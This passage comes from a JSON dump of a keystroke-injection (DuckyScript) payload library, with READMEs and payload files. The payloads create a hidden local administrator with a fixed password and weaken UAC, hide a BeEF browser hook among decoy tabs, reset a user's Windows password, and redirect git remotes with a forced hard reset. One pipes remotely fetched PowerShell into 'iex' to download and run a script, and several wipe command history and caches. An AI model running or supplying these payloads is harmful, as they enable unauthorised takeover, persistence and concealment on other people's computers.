-ErrorAction SilentlyContinue\n               reg delete HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU /va /f\n               exit\n               exit\nEND_STRINGLN\n"
  },
  {
    "path": "payloads/library/execution/Admin_Who_Never_Sleeps/ReadMe.md",
    "content": "**Admin who never sleeps** (for Windows)\n\nQuick and simple script that adds a local hidden admin user then sets power settings to never sleep.\n\n**User**: WinSystem\n<br>\n**Pass**: Some-P@ssw0rd\n\nYou're able to easily replace the above info, but make sure it's done everywhere! The name is used to hide it from view.\n\n_NOTE: Local admin required first!_\n"
  },
  {
    "path": "payloads/library/execution/Admin_Who_Never_Sleeps/payload.txt",
    "content": "REM Title: Admin who never sleeps\nREM Desc: Adds a local hidden admin user and sets power settings to never sleep.\nREM Author: UberGuidoZ\nREM Target: Windows (local admin required)\n\nREM Launch admin-level CMD prompt\nDELAY 3000\nGUI r\nDELAY 1000\nSTRING cmd\nDELAY 500\nCTRL-SHIFT ENTER\nDELAY 1000\nLEFTARROW\nDELAY 250\nENTER\nDELAY 1500\n\nREM Create local admin user WinSystem with pass Some-P@ssw0rd\nSTRING net user WinSystem Some-P@ssw0rd /add /fullname:\"Windows System\" /passwordchg:no && net localgroup administrators WinSystem /add\nENTER\nDELAY 1500\n\nREM Set WinSystem user pass to never expire, skip UAC, and hide the user\nSTRING wmic useraccount where name='WinSystem' set passwordexpires=false && REG ADD \"HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\" /f /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 && REG ADD \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList\" /f /v WinSystem /t REG_DWORD /d 0\nENTER\nDELAY 1500\n\nREM Change power settings to avoid loss of access later (Hibernation, Standby, Disk Timeout)\n\nSTRING powercfg -h off && powercfg /x -hibernate-timeout-ac 0 && powercfg /x -hibernate-timeout-dc 0\nENTER\nDELAY 1000\nSTRING Powercfg /x -standby-timeout-ac 0 && powercfg /x -standby-timeout-dc 0\nENTER\nDELAY 1000\nSTRING powercfg /x -disk-timeout-ac 0 && powercfg /x -disk-timeout-dc 0\nENTER\nDELAY 1000\n\nREM Set monitor timeouts to avoid noticing system is awake\nSTRING powercfg /x -monitor-timeout-ac 10 && powercfg /x -monitor-timeout-dc 10\nENTER\nDELAY 1000\n\nREM Exit and enjoy your user whenever!\nEXIT\n"
  },
  {
    "path": "payloads/library/execution/BeEF_Injection/payload.txt",
    "content": "REM TITLE BeEF Injection\nREM AUTHOR\nREM   __      __ .__                             \nREM  /  \\    /  \\|__|  ____    ____              \nREM  \\   \\/\\/   /|  | /    \\  /  _ \\             \nREM   \\        / |  ||   |  \\(  <_> )            \nREM    \\__/\\  /  |__||___|  / \\____/             \nREM         \\/            \\/                     \nREM                                            \nREM         __      __ .__ .__   .__           \nREM        /  \\    /  \\|__||  |  |  |  ___.__. \nREM        \\   \\/\\/   /|  ||  |  |  | <   |  | \nREM         \\        / |  ||  |__|  |__\\___  | \nREM          \\__/\\  /  |__||____/|____// ____| \nREM               \\/                   \\/       \nREM\nREM DESCRIPTION This will open a ton of tabs on the target device.\nREM One of which will be a domain/ip you are hosting. This script is\nREM meant to be used with the beEF framework. All you need to do is \nREM replace the specified link (Line 62) with your hosted one. The \nREM idea is to \"hide\" the browser tab in the background behind all\nREM the other tabs.                     Written in DuckyScript 1.0 \nREM TARGET Android Devices with Chrome as the default browser.\n\nDELAY 1000\nGUI ENTER\nDELAY 500\nGUI b\nDELAY 500\nCTRL l\nDELAY 500\nCTRL l\n\nDELAY 1000\nSTRINGLN www.youtube.com\nDELAY 1500\nCTRL t\nDELAY 500\nCTRL l\nDELAY 500\nCTRL l\n\nDELAY 1000\nSTRINGLN www.facebook.com\nDELAY 1500\nCTRL t\nDELAY 500\nCTRL l\nDELAY 500\nCTRL l\n\nDELAY 1000\nSTRINGLN https://www.nytimes.com/\nDELAY 1500\nCTRL t\nDELAY 500\nCTRL l\nDELAY 500\nCTRL l\n\nREM Enter your domain/ip site below.\nDELAY 1000\nSTRINGLN <link to your site>\nDELAY 2000\nCTRL d\nDELAY 500\nCTRL t\nDELAY 500\nCTRL l\nDELAY 500\nCTRL l\n\nDELAY 1000\nSTRINGLN instagram.com\nDELAY 1500\nCTRL t\nDELAY 500\nCTRL l\nDELAY 500\nCTRL l\n\nDELAY 1000\nSTRINGLN twitter.com\nDELAY 1500\nCTRL t\nDELAY 500\nCTRL l\nDELAY 500\nCTRL l\n\nDELAY 1000\nSTRINGLN whatsapp.com\nDELAY 1500\nCTRL t\nDELAY 500\nCTRL l\nDELAY 500\nCTRL l\n\nDELAY 1000\nSTRINGLN pinterest.com\nDELAY 1500\nCTRL t\nDELAY 500\nCTRL l\nDELAY 500\nCTRL l\n\nDELAY 1000\nSTRINGLN microsoft.com\nDELAY 1500\nCTRL t\nDELAY 500\nCTRL l\nDELAY 500\nCTRL l\n\nDELAY 1000\nSTRINGLN imdb.com\nDELAY 1500\nCTRL t\nDELAY 500\nCTRL l\nDELAY 500\nCTRL l\n\nDELAY 1000\nSTRINGLN netflix.com\nDELAY 1500\nCTRL t\nDELAY 500\nCTRL l\nDELAY 500\nCTRL l\n\nDELAY 1000\nSTRINGLN apple.com\nDELAY 1500\nCTRL t\nDELAY 500\nCTRL l\nDELAY 500\nCTRL l\n\nDELAY 1000\nSTRINGLN globo.com\nDELAY 1500\nCTRL t\nDELAY 500\nCTRL l\nDELAY 500\nCTRL l\n\nDELAY 1000\nSTRINGLN translate.google.com\nDELAY 1500\nCTRL t\nDELAY 500\nCTRL l\nDELAY 500\nCTRL l\n\nDELAY 1000\nSTRINGLN it.wikipedia.org\nDELAY 1500\nCTRL t\nDELAY 500\nCTRL l\nDELAY 500\nCTRL l\n\nDELAY 1000\nSTRINGLN openai.com\nDELAY 1500\nCTRL t\nDELAY 500\n\nGUI ENTER\n"
  },
  {
    "path": "payloads/library/execution/Call_Someone_On_An_iPhone/README.md",
    "content": "# Call Someone On An iPhone\n\nThis script can be used to call someone really fast using an iPhone, so iOS system.\n\n**Category**: Execution\n\n## Description\n\nThis script can be used to call someone really fast using an iPhone, so iOS system.\n\nOpen search bar, then open the Phone app (I used the italian name so 'Telefono'), then delete what is (hidden) stored and write the number, then call it.\n\n## Dependencies\n\n* The phone must be unlocked\n\n## Test\n\n- iPhone 14\n- iOS 16.4.1\n\n## Settings\n\n- You need to change the name of the application according to the language you have on your phone.\n\n  ```DuckyScript\n  [20] DEFINE #PHONE-APP-NAME\n  ```\n\n- You must set the phone number to be called\n\n```DuckyScript\n  [22] DEFINE #NUMBER example\n```\n\n## Credits\n\n<h2 align=\"center\"> Aleff :octocat: </h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://github.com/aleff-github\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Github\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.linkedin.com/in/alessandro-greco-aka-aleff/\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Linkedin\n    </td>\n  </tr>\n</table>\n</div>"
  },
  {
    "path": "payloads/library/execution/Call_Someone_On_An_iPhone/payload.txt",
    "content": "REM ##############################################\nREM #                                            |\nREM # Title        : Call Someone On An iPhone   |\nREM # Author       : Aleff                       |\nREM # Version      : 1.0                         |\nREM # Category     : Execution                   |\nREM # Target       : iPhone                      |\nREM #                                            |\nREM ##############################################\n\n\nREM Requirements:\nREM     - The phone must be unlocked\n\nREM Tested on:\nREM     - iPhone 14\nREM     - iOS 16.4.1\n\nREM You need to change the name of the application according to the language you have on your phone.\nDEFINE #PHONE-APP-NAME example\nREM You must set the phone number to be called\nDEFINE #NUMBER example\n\nGUI SPACE\nDELAY 300\nSTRING #PHONE-APP-NAME\nENTER\nDELAY 1000\nBACKSPACE\nSTRING #NUMBER\nDELAY 500\nENTER\n"
  },
  {
    "path": "payloads/library/execution/ChangeGitRemoteLink/README.md",
    "content": "# Change Remote Git Link\n\nThis script can be used to change the remote link from which updates will be downloaded and where new updates will be uploaded.\n\n**Category**: Execution\n\n## Description\n\nThis script can be used to change the remote link from which updates will be downloaded and where new updates will be uploaded.\n\nThis script turns out to be very useful for aviting data leaks between old cloned repositories and new online repositories.\n\nTo make it easier to use below you can find the various tested configurations, at the moment it is not available for macOS because since I do not have one it cannot be tested and therefore I cannot give the certainty that it works, however I hope that in the Hak5 community there may be someone who can contribute to this payload by completing it with this missing part.\n\n## Payload.txt config - Windows 10/11 - Tested on Windows 11\n\n```DuckyScript\n    DELAY 1000\n    GUI r\n    DELAY 1000\n    STRING powershell\n    ENTER\n    DELAY 2000\n```\n\n## Payload.txt config - Linux (Debian based) - Tested on Ubuntu 23.04\n\n```DuckyScript\n    DELAY 1000\n    CTRL-ALT t\n    DELAY 2000\n```\n\n\n## Dependencies\n\n* Internet Connection\n* git installed\n* Full path of the cloned repository\n* ExecutionPolicy Bypass\n\n## Settings\n\n- Full path of the local repository i.e. \"C:\\Users\\User\\Documents\\Repository1\"\n```DuckyScript\n    DEFINE #FULL-PATH example\n```\n\n- Link from which updates are to be downloaded so the new repository the Repository2\n```DuckyScript\n    DEFINE #NEW-GIT-LINK example.git\n```\n\n- REM Define the branch of the new repository Repository2, i.e. \"main\"\n```DuckyScript\n    DEFINE #BRANCH example\n```\n\n## Credits\n\n<h2 align=\"center\"> Aleff :octocat: </h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://github.com/aleff-github\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Github\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.linkedin.com/in/alessandro-greco-aka-aleff/\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Linkedin\n    </td>\n  </tr>\n</table>\n</div>"
  },
  {
    "path": "payloads/library/execution/ChangeGitRemoteLink/payload.txt",
    "content": "REM ###########################################\nREM #                                         |\nREM # Title        : Change Remote Git Link   |\nREM # Author       : Aleff                    |\nREM # Version      : 1.0                      |\nREM # Category     : Execution                  |\nREM # Target       : Windows 10-11/Linux      |\nREM #                                         |\nREM ###########################################\n\nREM Requirements:\nREM     - Internet Connection\nREM     - git installed\nREM     - Full path of the cloned repository\nREM     - ExecutionPolicy Bypass if runned on Windows\n\nREM Full path of the local repository i.e. \"C:\\Users\\User\\Documents\\Repository1\"\nDEFINE #FULL-PATH example\n\nREM Link from which updates are to be downloaded so the new repository the Repository2\nDEFINE #NEW-GIT-LINK example.git\n\nREM Define the branch of the new repository Repository2, i.e. \"main\"\nDEFINE #BRANCH example\n\nDELAY 1000\nGUI r\nDELAY 1000\nSTRING powershell\nENTER\nDELAY 2000\n\nSTRINGLN cd #FULL-PATH\nDELAY 1000\nSTRINGLN git remote set-url origin #NEW-GIT-LINK\nDELAY 1000\nSTRINGLN git pull --force origin #BRANCH\nDELAY 1000\nSTRINGLN git reset --hard origin/#BRANCH\nDELAY 1000\n\nALT F4\n"
  },
  {
    "path": "payloads/library/execution/ChangeMacAddress_Linux/README.md",
    "content": " \n# Change MAC Address\n\nA script used to change the MAC address on a Linux machine.\n\n**Category**: Execution\n\n## Description\n\nA script used to change the MAC address on a Linux machine.\n\nOpens a shell, get the network card name, set the new MAC address, erase traces.\n\n## Getting Started\n\n### Dependencies\n\n* Linux Permissions\n* Internet Connection\n\n### Executing program\n\n* Plug in your device\n\n### Settings\n\n* Set the sudo password\n* Change as you want the new MAC address\n\n## Credits\n\n<h2 align=\"center\"> Aleff :octocat: </h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://github.com/aleff-github\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Github\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.linkedin.com/in/alessandro-greco-aka-aleff/\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Linkedin\n    </td>\n  </tr>\n</table>\n</div>"
  },
  {
    "path": "payloads/library/execution/ChangeMacAddress_Linux/payload.txt",
    "content": "\nREM ###########################################\nREM #                                         |\nREM # Title        : Change Linux MAC Address |\nREM # Author       : Aleff                    |\nREM # Version      : 1.0                      |\nREM # Category     : Execution                |\nREM # Target       : Linux                    |\nREM #                                         |\nREM ###########################################\n\nREM Requirements:\nREM     - Permissions\n\nDELAY 1000\nCTRL-ALT t\nDELAY 2000\n\n\nREM #### PERMISSIONS SECTION ####\n\n\nREM You need to know the sudo password and replace 'example' with this\nDEFINE SUDO_PASS example\n\nSTRING sudo su\nENTER\nDELAY 1000\nSTRING SUDO_PASS\nENTER\nDELAY 1000\n\n\nREM #### MAC SECTION ####\n\n\nREM net-tools command\nSTRING apt install net-tools\nENTER\nDELAY 2000\n\nREM Set here your preferred MAC, you can don't change it remaining with the default value\nDEFINE NEW_MAC FF:FF:FF:FF:FF:FF\n\nREM Get the net interface name\nSTRING INTERFACE=$(ip route get 8.8.8.8 | awk '{print $5}')\nENTER\nDELAY 500\n\nSTRING ifconfig $INTERFACE down\nENTER\nDELAY 500\n\nSTRING ifconfig $INTERFACE hw ether \nSTRING NEW_MAC\nENTER\nDELAY 500\n\nSTRING ifconfig $INTERFACE up\nENTER\nDELAY 500\n\n\nREM #### REMOVE TRACES ####\n\n\nDELAY 2000\nSTRING history -c\nENTER\n\nREM Close shell\nSTRING exit\nENTER\n"
  },
  {
    "path": "payloads/library/execution/ChangeNetworkConfiguration_Linux/README.md",
    "content": " \n# Change Network Configuration\n\nA script used to change the network configuration on a Linux machine.\n\n**Category**: Execution\n\n## Description\n\nA script used to change the network configuration on a Linux machine.\n\nOpens a shel, get the network card name, set the network configuration, erase traces.\n\n## Getting Started\n\n### Dependencies\n\n* Linux Permissions\n\n### Settings\n\n* Set the sudo password\n* Change as you want the network configuration\n\n## Credits\n\n<h2 align=\"center\"> Aleff :octocat: </h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://github.com/aleff-github\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Github\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.linkedin.com/in/alessandro-greco-aka-aleff/\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Linkedin\n    </td>\n  </tr>\n</table>\n</div>"
  },
  {
    "path": "payloads/library/execution/ChangeNetworkConfiguration_Linux/payload.txt",
    "content": "\nREM ###############################################\nREM #                                             |\nREM # Title        : Change Network Configuration |\nREM # Author       : Aleff                        |\nREM # Version      : 1.0                          |\nREM # Category     : Execution                    |\nREM # Target       : Linux                        |\nREM #                                             |\nREM ###############################################\n\nREM Requirements:\nREM     - Permissions\n\nDELAY 1000\nCTRL-ALT t\nDELAY 2000\n\n\nREM #### PERMISSIONS SECTION ####\n\n\nREM Required: You need to know the sudo password and replace 'example' with this\nDEFINE SUDO_PASS example\nSTRING sudo su\nENTER\n\nDELAY 1000\nSTRING SUDO_PASS\nENTER\nDELAY 1000\n\n\nREM #### IP SECTION ####\n\n\nREM net-tools command\nSTRING apt install net-tools\nENTER\nDELAY 2000\n\nREM Set network interface\nDEFINE IP 192.168.1.100\nDEFINE MASK 255.255.255.0\nDEFINE GATEWAY 192.168.1.1\n\nSTRING IP=\"\nSTRING IP\nSTRING \"\nENTER\nDELAY 500\nSTRING MASK=\"\nSTRING MASK\nSTRING \"\nENTER\nDELAY 500\nSTRING GATEWAY=\"\nSTRING GATEWAY\nSTRING \"\nENTER\nDELAY 500\n\nREM Get the net interface name\nSTRING INTERFACE=$(ip route get 8.8.8.8 | awk '{print $5}')\nENTER\nDELAY 500\nSTRING ifconfig $INTERFACE $IP netmask $MASK up\nENTER\nDELAY 500\n\n\nREM #### REMOVE TRACES ####\n\n\nSTRING history -c\nENTER\nDELAY 500\n\nREM Close shell\nSTRING exit\nENTER\n"
  },
  {
    "path": "payloads/library/execution/Change_Github_Profile_Settings/README.md",
    "content": "# Change Github Profile Settings\n\nThis script can be used to edit Github account settings speeding up the editing process.\n\nThe script will run a shell and open the default browser in `https://github.com/settings/profile` and close the powershell. When the page is open go to the profile settings TABing many times.\n\n**Category**: Execution\n\n## Getting Started\n\n### Dependencies\n\n* Internet connection\n* Logged in Github\n* PayloadStudio >= 1.3.1\n\n### Settings\n\n- Here you should define the new name\n\n    ```DuckyScript\n    [19] DEFINE #NAME example\n    ```\n\n- Here you should define the new Biography\n\n    ```DuckyScript\n    [20] DEFINE #BIO example\n    ```\n\n- Here you should define the custom pronouns\n\n    ```DuckyScript\n    [21] DEFINE #CUSTOM-PRONOUNS example\n    ```\n\n- Here you should define the new personal website url\n\n    ```DuckyScript\n    [22] DEFINE #URL example\n    ```\n\n- Here you should define the new social network links\n\n    ```DuckyScript\n    [23] DEFINE #SOCIAL-ACCOUNT-1 example\n    [24] DEFINE #SOCIAL-ACCOUNT-2 example\n    [25] DEFINE #SOCIAL-ACCOUNT-3 example\n    [26] DEFINE #SOCIAL-ACCOUNT-4 example\n    ```\n\n- Here you should define the new company\n\n    ```DuckyScript\n    [27] DEFINE #COMPANY example\n    ```\n\n- Here you should define the new location\n\n    ```DuckyScript\n    [28] DEFINE #LOCATION example\n    ```\n\n## Credits\n\n<h2 align=\"center\"> Aleff :octocat: </h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://github.com/aleff-github\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Github\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.linkedin.com/in/alessandro-greco-aka-aleff/\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Linkedin\n    </td>\n  </tr>\n</table>\n</div>\n"
  },
  {
    "path": "payloads/library/execution/Change_Github_Profile_Settings/payload.txt",
    "content": "REM_BLOCK\n###################################################\n#                                                 #\n# Title        : Change Github Profile Settings   #\n# Author       : Aleff                            #\n# Version      : 1.0                              #\n# Category     : Execution                        #\n# Target       : Windows 10/11                    #\n#                                                 #\n###################################################\nEND_REM\n\nREM Requirements:\nREM     - Internet connection\nREM     - Logged in Github\nREM     - PayloadStudio >= 1.3.1\n\nREM You must set the new Profile Settings\nDEFINE #NAME example\nDEFINE #BIO example\nDEFINE #CUSTOM-PRONOUNS example\nDEFINE #URL example\nDEFINE #SOCIAL-ACCOUNT-1 example\nDEFINE #SOCIAL-ACCOUNT-2 example\nDEFINE #SOCIAL-ACCOUNT-3 example\nDEFINE #SOCIAL-ACCOUNT-4 example\nDEFINE #COMPANY example\nDEFINE #LOCATION example\n\n\nEXTENSION PASSIVE_WINDOWS_DETECT\n    REM VERSION 1.1\n    REM AUTHOR: Korben\n\n    REM_BLOCK DOCUMENTATION\n        Windows fully passive OS Detection and passive Detect Ready\n        Includes its own passive detect ready.\n        Does not require additional extensions.\n\n        USAGE:\n            Extension runs inline (here)\n            Place at beginning of payload (besides ATTACKMODE) to act as dynamic\n            boot delay\n            $_OS will be set to WINDOWS or NOT_WINDOWS\n            See end of payload for usage within payload\n    END_REM\n\n    REM CONFIGURATION:\n    DEFINE #MAX_WAIT 150\n    DEFINE #CHECK_INTERVAL 20\n    DEFINE #WINDOWS_HOST_REQUEST_COUNT 2\n    DEFINE #NOT_WINDOWS 7\n\n    $_OS = #NOT_WINDOWS\n\n    VAR $MAX_TRIES = #MAX_WAIT\n    WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0))\n        DELAY #CHECK_INTERVAL\n        $MAX_TRIES = ($MAX_TRIES - 1)\n    END_WHILE\n    IF ($_HOST_CONFIGURATION_REQUEST_COUNT > #WINDOWS_HOST_REQUEST_COUNT) THEN\n        $_OS = WINDOWS\n    END_IF\n\n    REM_BLOCK EXAMPLE USAGE AFTER EXTENSION\n        IF ($_OS == WINDOWS) THEN\n            STRING HELLO WINDOWS!\n        ELSE\n            STRING HELLO WORLD!\n        END_IF\n    END_REM\nEND_EXTENSION\n\n\nGUI r\nDELAY 500\nSTRINGLN powershell\nDELAY 500\n\nSTRINGLN Start-Process \"https://github.com/settings/profile\"; exit;\nREM It depends by the computer power and by the internet connection power\nDELAY 2000\n\nREPEAT 37 TAB\nSTRING #NAME\nREPEAT 4 TAB\nSTRING #BIO\nTAB\nREPEAT 4 DOWNARROW\nSTRING #CUSTOM-PRONOUNS\nTAB\nSTRING #URL\nTAB\nSTRING #SOCIAL-ACCOUNT-1\nTAB\nSTRING #SOCIAL-ACCOUNT-2\nTAB\nSTRING #SOCIAL-ACCOUNT-3\nTAB\nSTRING #SOCIAL-ACCOUNT-4\nTAB\nSTRING #COMPANY\nTAB\nSTRING #LOCATION\nREPEAT 4 TAB\nENTER\nDELAY 2000\nALT-F4\n"
  },
  {
    "path": "payloads/library/execution/Change_Windows_User_Name/README.md",
    "content": "# Change Windows User Name\n\nThis script can be used to change the windows user name.\n\n**Category**: Execution\n\n## Description\n\nThis script can be used to change the windows user name.\n\nThe script opens the research app and go to User Accounts settings using the default path `Control Panel\\All Control Panel Items\\User Accounts`, then go to \"Change your account name\" option and set the new name, save it and close the app.\n\nIt is absurd that you can do so many things on windows without asking for permissions.\n\n### Dependencies\n\n* Set the new name that you want to set\n\n```DuckyScript\nDEFINE NEW_NAME example\n```\n\n## Credits\n\n<h2 align=\"center\"> Aleff :octocat: </h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://github.com/aleff-github\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Github\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.linkedin.com/in/alessandro-greco-aka-aleff/\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Linkedin\n    </td>\n  </tr>\n</table>\n</div>"
  },
  {
    "path": "payloads/library/execution/Change_Windows_User_Name/payload.txt",
    "content": "REM #############################################\nREM #                                           |\nREM # Title        : Change Windows User Name   |\nREM # Author       : Aleff                      |\nREM # Version      : 1.0                        |\nREM # Category     : Execution                    |\nREM # Target       : Windows 10/11              |\nREM #                                           |\nREM #############################################\n\nREM Requirements:\nREM     - Nothing\n\nREM Note:\nREM     - Payload tested on Windows 11 Eng \n\nREM Set the new name that you want to set\nDEFINE NEW_NAME example\n\nREM Open Windows research\nDELAY 2000\nGUI\nDELAY 1000\n\nREM Search and opern explorer app\nSTRING explorer\nENTER\nDELAY 1000\n\nREM Goto search bar and open User Accounts settings\nTAB\nDELAY 500\nTAB\nDELAY 500\nTAB\nDELAY 500\nENTER\nDELAY 500\nSTRING Control Panel\\All Control Panel Items\\User Accounts\nENTER\nDELAY 1500\n\nREM Goto \"Change you account name\"\nTAB\nDELAY 500\nENTER\nDELAY 500\n\nSTRING NEW_NAME\nDELAY 500\nTAB\nDELAY 500\nENTER\nDELAY 1000\nALT F4\n"
  },
  {
    "path": "payloads/library/execution/Change_the_password_of_the_windows_user/README.md",
    "content": "# Change the password of the windows user\n\nThrough this script you will be able to change windows user's password super fast.\n\n**Category**: Execution\n\n## Description\n\nThrough this script you will be able to change windows user's password super fast.\n\nA PowerShell with administrator permissions is started, and through the use of the `net` command you can change the password without necessarily having to know the original password.\n\nIt is always very fascinating to see how many things you can do on Windows systems without needing to know the original password. As fascinating as it is disturbing.\n\n## Dependencies\n\n* Nothing (i know it's absurd)\n\n## Example\n\n- `STRINGLN Get-ExecutionPolicy -List`\n![](docs/1.png)\n\n- `STRINGLN Set-ExecutionPolicy Bypass`\n![](docs/2.png)\n\n- `STRINGLN Get-ExecutionPolicy -List`\n![](docs/3.png)\n\n## Credits\n\n<h2 align=\"center\"> Aleff :octocat: </h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://github.com/aleff-github\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Github\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.linkedin.com/in/alessandro-greco-aka-aleff/\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Linkedin\n    </td>\n  </tr>\n</table>\n</div>"
  },
  {
    "path": "payloads/library/execution/Change_the_password_of_the_windows_user/payload.txt",
    "content": "REM ############################################################\nREM #                                                          |\nREM # Title        : Change the password of the Windows user   |\nREM # Author       : Aleff                                     |\nREM # Version      : 1.0                                       |\nREM # Category     : Execution                                   |\nREM # Target       : Windows 10-11                             |\nREM #                                                          |\nREM ############################################################\n\nREM Requirements:\nREM     - Nothing (i know it's absurd)\n\nREM You must define the new Windows user password\nDEFINE NEW_PASSWORD example\n\nDELAY 1000\nGUI x\nDELAY 500\nSTRING a\nDELAY 500\nLEFT_ARROW\nDELAY 500\nENTER\n\nDELAY 2000\nSTRING net user $env:USERNAME \nSTRING NEW_PASSWORD\nENTER\nDELAY 1000\n\nALT F4\n"
  },
  {
    "path": "payloads/library/execution/CloseAllApplicationsInWindows/README.md",
    "content": "# Close All Applications - BADUSB ✅\n\nA script used to close all target open applications.\n\n🟢 **Plug-And-Play** 🟢\n\n**Category**: Execution\n\n## Description\n\nA script used to close all target open applications.\n\nOpens PowerShell hidden, download a Python script, execute it, remove Python script downloaded, delete powershell history.\n\n## Getting Started\n\n### Dependencies\n\n* Internet Connection\n* Windows 10,11\n\n### Settings\n\n- No settings - Plug-And-Play\n\n## Credits\n\n<h2 align=\"center\"> Aleff :octocat: </h2>\n<div align=center>\n<table>\n  <tr>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://github.com/aleff-github\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/github.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Github\n    </td>\n    <td align=\"center\" width=\"96\">\n      <a href=\"https://www.linkedin.com/in/alessandro-greco-aka-aleff/\">\n        <img src=https://github.com/aleff-github/aleff-github/blob/main/img/linkedin.png?raw=true width=\"48\" height=\"48\" />\n      </a>\n      <br>Linkedin\n    </td>\n  </tr>\n</table>\n</div>"
  },
  {
    "path": "payloads/library/execution/CloseAllApplicationsInWindows/close_all_app.ps1",
    "content": "# Download Python script\n\n# Reply $scriptUrl with YOUR LINK. The Payload should be script.py\n$scriptUrl = \"YOUR_END_USER_LINK_WITH_PAYLOAD\"\n$savePath = \"$env:temp\\script.py\"\n(New-Object System.Net.WebClient).DownloadFile($scriptUrl, $savePath)\n\n# Execute Python script\n& python $savePath\n\n# Delete the downloaded script\nRemove-Item $savePath\n\n# Clear the download history from the system's web cache\nRemove-Item -Path \"$env:LOCALAPPDATA\\Microsoft\\Windows\\WebCache\\*\" -Recurse -Force\n\n# Clear the PowerShell command history\nClear-History\n"
  },
  {
    "path": "payloads/library/execution/CloseAllApplicationsInWindows/payload.txt",
    "content": "REM #####################################################\nREM #                                                   |\nREM # Title        : Close All Applications             |\nREM # Author       : Aleff                              |\nREM # Version      : 1.0                                |\nREM # Category     : Execution                          |\nREM # Target       : Windows 10-11                      |\nREM #                                                   |\nREM #####################################################\n\nREM Plug-And-Play\n\nREM \nREM 1. Open a powershell\nREM 2. Download a Python script\nREM 3. Execute it\nREM 4. Remove Python script downloaded\nREM 5. Delete powershell history\nREM\n\nREM Reply with YOUR LINK. The Payload should be close_all_app.ps1\nDEFINE POWERSHEL_CODE example.com\n\nDELAY 2000\nGUI x\nDELAY 250\nDOWNARROW\nDOWNARROW\nDOWNARROW\nDOWNARROW\nDOWNARROW\nDOWNARROW\nDOWNARROW\nDOWNARROW\nDOWNARROW\nDOWNARROW\nENTER\nDELAY 1000\nTAB\nTAB\nENTER\nDELAY 2000\nSTRING irm POWERSHEL_CODE | iex\nENTER\n"
  },
  {
    "path": "payloads/library/execution/CloseAllApplicationsInWindows/script.py",
    "content": "try:\n    import psutil\nexcept:\n    import os\n    os.system(\"pip install psutil\")\n    import psutil\n\nfor process in psutil.process_iter():\n    try:\n        process.terminate()\n    except:\n        pass\n"
  },
  {
    "path": "payloads/library/execution/DNS-TXT-CommandInjection/DNS-TXT-CommandInjection.txt",
